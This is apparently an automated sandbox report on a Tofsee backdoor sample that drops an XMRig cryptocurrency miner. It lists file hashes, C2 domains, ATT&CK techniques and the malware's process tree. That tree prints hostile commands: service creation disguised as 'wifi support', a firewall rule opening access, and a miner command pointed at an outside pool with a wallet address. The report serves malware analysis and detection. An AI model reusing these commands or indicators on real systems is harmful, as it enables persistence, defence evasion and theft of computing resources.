Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24-09-2022 20:49

General

  • Target

    8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb.exe

  • Size

    196KB

  • MD5

    27da484783e0473adfd88893597c72d9

  • SHA1

    1b56b3ba1cc538b0e00f705ed3106c7613470a80

  • SHA256

    8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb

  • SHA512

    dd1dbe29da761d57cf5a5df661176295b7193d862cfa073f81831854cad68704ee6700653eb790a95ac3052de92339d336481d8c0eaf05401630313a7ef78ae6

  • SSDEEP

    3072:jO7APMLe13d2M9aA5xVU6A0oS30RKEwoBQdn/PkkXx:6LL4x9VU6A0r4hw7

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb.exe
    "C:\Users\Admin\AppData\Local\Temp\8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gwvguiha\
      2⤵
        PID:4852
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kuagzjwx.exe" C:\Windows\SysWOW64\gwvguiha\
        2⤵
          PID:4872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gwvguiha binPath= "C:\Windows\SysWOW64\gwvguiha\kuagzjwx.exe /d\"C:\Users\Admin\AppData\Local\Temp\8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gwvguiha "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gwvguiha
          2⤵
          • Launches sc.exe
          PID:1264
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3856
      • C:\Windows\SysWOW64\gwvguiha\kuagzjwx.exe
        C:\Windows\SysWOW64\gwvguiha\kuagzjwx.exe /d"C:\Users\Admin\AppData\Local\Temp\8e5b1c4a69ccc6a101810f25ea4d0aef0c087ae693c6febf52b49bee14abcddb.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5072
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3640

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\kuagzjwx.exe
        Filesize

        14.4MB

        MD5

        427e79fc1a3479738369894fb78ab120

        SHA1

        825b4ba89b6023aefcead89af5e39877df032c09

        SHA256

        ae30d4eb1954a1ea261fe1b2c339ebcfa51551e5e02ef7fecffa0945afeebe5e

        SHA512

        afdd90f43dcaf059fd5a0573e2ec6ce941dccb91c11ad64b79bbfb7f2100090023ba93a138d4e450d2736d71170acdfe9459b0238b58b66b7c039c7c10707fd5

      • C:\Windows\SysWOW64\gwvguiha\kuagzjwx.exe
        Filesize

        14.4MB

        MD5

        427e79fc1a3479738369894fb78ab120

        SHA1

        825b4ba89b6023aefcead89af5e39877df032c09

        SHA256

        ae30d4eb1954a1ea261fe1b2c339ebcfa51551e5e02ef7fecffa0945afeebe5e

        SHA512

        afdd90f43dcaf059fd5a0573e2ec6ce941dccb91c11ad64b79bbfb7f2100090023ba93a138d4e450d2736d71170acdfe9459b0238b58b66b7c039c7c10707fd5

      • memory/1264-195-0x0000000000000000-mapping.dmp
      • memory/2676-156-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-150-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-118-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-119-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-120-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-121-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-122-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-123-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-124-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-125-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-126-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-127-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-128-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-129-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-131-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-159-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-133-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-134-0x0000000000590000-0x000000000063E000-memory.dmp
        Filesize

        696KB

      • memory/2676-135-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-137-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-138-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-136-0x00000000006A0000-0x00000000006B3000-memory.dmp
        Filesize

        76KB

      • memory/2676-139-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-140-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-141-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-142-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-143-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-144-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-145-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-146-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-147-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-148-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-158-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-151-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-149-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-152-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-153-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-154-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-157-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-116-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-155-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-117-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-132-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-161-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/2676-160-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-162-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-163-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-164-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-165-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/2676-220-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/2676-217-0x00000000006A0000-0x00000000006B3000-memory.dmp
        Filesize

        76KB

      • memory/2676-115-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/3328-311-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/3328-300-0x0000000000600000-0x00000000006AE000-memory.dmp
        Filesize

        696KB

      • memory/3328-297-0x0000000000600000-0x000000000074A000-memory.dmp
        Filesize

        1.3MB

      • memory/3368-184-0x0000000000000000-mapping.dmp
      • memory/3368-186-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/3640-519-0x00000000008F259C-mapping.dmp
      • memory/3856-212-0x0000000000000000-mapping.dmp
      • memory/4852-168-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4852-169-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4852-170-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4852-167-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4852-171-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4852-166-0x0000000000000000-mapping.dmp
      • memory/4872-173-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-176-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-179-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-175-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-172-0x0000000000000000-mapping.dmp
      • memory/4872-174-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5072-306-0x0000000000489A6B-mapping.dmp
      • memory/5072-403-0x0000000000480000-0x0000000000495000-memory.dmp
        Filesize

        84KB

      • memory/5072-484-0x0000000000480000-0x0000000000495000-memory.dmp
        Filesize

        84KB

      • memory/5084-187-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5084-182-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5084-185-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5084-178-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5084-177-0x0000000000000000-mapping.dmp
      • memory/5084-181-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB

      • memory/5084-180-0x00000000774C0000-0x000000007764E000-memory.dmp
        Filesize

        1.6MB